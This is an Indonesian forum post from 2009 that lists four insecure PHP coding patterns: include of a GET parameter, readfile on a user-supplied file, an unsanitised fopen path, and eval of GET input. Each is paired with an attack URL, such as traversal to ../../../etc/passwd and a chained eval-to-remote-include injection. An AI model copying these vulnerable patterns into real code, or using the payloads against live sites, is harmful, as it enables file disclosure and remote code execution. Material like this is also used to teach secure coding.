Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
Kesalahan Coding PHP ( rekap dari blog gw )
#1
Beberapa kesalahan penulisan scripts php yang dapat berakibat fatal.

======
case 1
======
[scripts]
$page = $_GET[page];
include($page);

[attack]
http://victim.com/file.php?page=[Inection URL]


======
case 2
======
[scripts]
header( "Content-Type: application/octet-stream" );
header( "Content-Length: " . filesize($_GET['file'] ) );
header( "Content-Disposition: inline; filename=\"$_GET[file]\"");
readfile($_GET['file'] );

[attack]
http://victim.com/file.php?file=index.php


=======
case 3
=======
[scripts]
$fp = fopen("/path/{$_GET['filename']}.txt", 'r');

[attack]
http://victim.com/file.php?filename=../../../etc/passwd


======
case 4
======
[scripts]
eval($_GET[ev]);

[attack]
http://victim.com/file.php?ev=include($_GET[irv]);&irv=[injection URL]

big THX to my Brotha Irvian
Reply


Messages In This Thread
Kesalahan Coding PHP ( rekap dari blog gw ) - by p4rcomx - 11-24-2009, 06:11 PM

Possibly Related Threads…
Thread Author Replies Views Last Post
  mambuat email dari google apps ernocobain 25 413 08-09-2014, 05:45 PM
Last Post: positive
Bananas_16 [TUT] Membuat Blog-Engine Menggunakan Python Naisenodni 2 69 10-19-2013, 07:21 PM
Last Post: Naisenodni
Lucky_seven_16 Share Your Tips Blog Here Up_ 34 761 11-15-2011, 04:16 PM
Last Post: Aris Devilz
Computer_16 coding asp untuk upload form Wayc0de 9 127 06-14-2011, 11:26 AM
Last Post: Gelby
  [unsoed] coding untuk lihat poto di unsoed.ac.id Dika_xb 5 108 05-12-2011, 03:02 PM
Last Post: Dika_xb
Death_16 Belajar Coding CSS (Cassading Style Sheet) NatyaOrigamiâ„¢ 13 303 05-08-2011, 08:53 PM
Last Post: Racifa
  [share] Menghapus komentar spam yang memenuhi blog wordpress Wayc0de 3 53 09-30-2010, 06:39 PM
Last Post: :teroris maentenance:
  Ekstract file di server/hosting dari client tanpa cPanel Lara_Gibson 6 90 09-20-2010, 10:38 PM
Last Post: compLann
  [PHP] Melindungi Password Koneksi ke Database dari Rooting K4pT3N 22 221 06-09-2010, 12:41 PM
Last Post: Cruz3N

Forum Jump:


Users browsing this thread: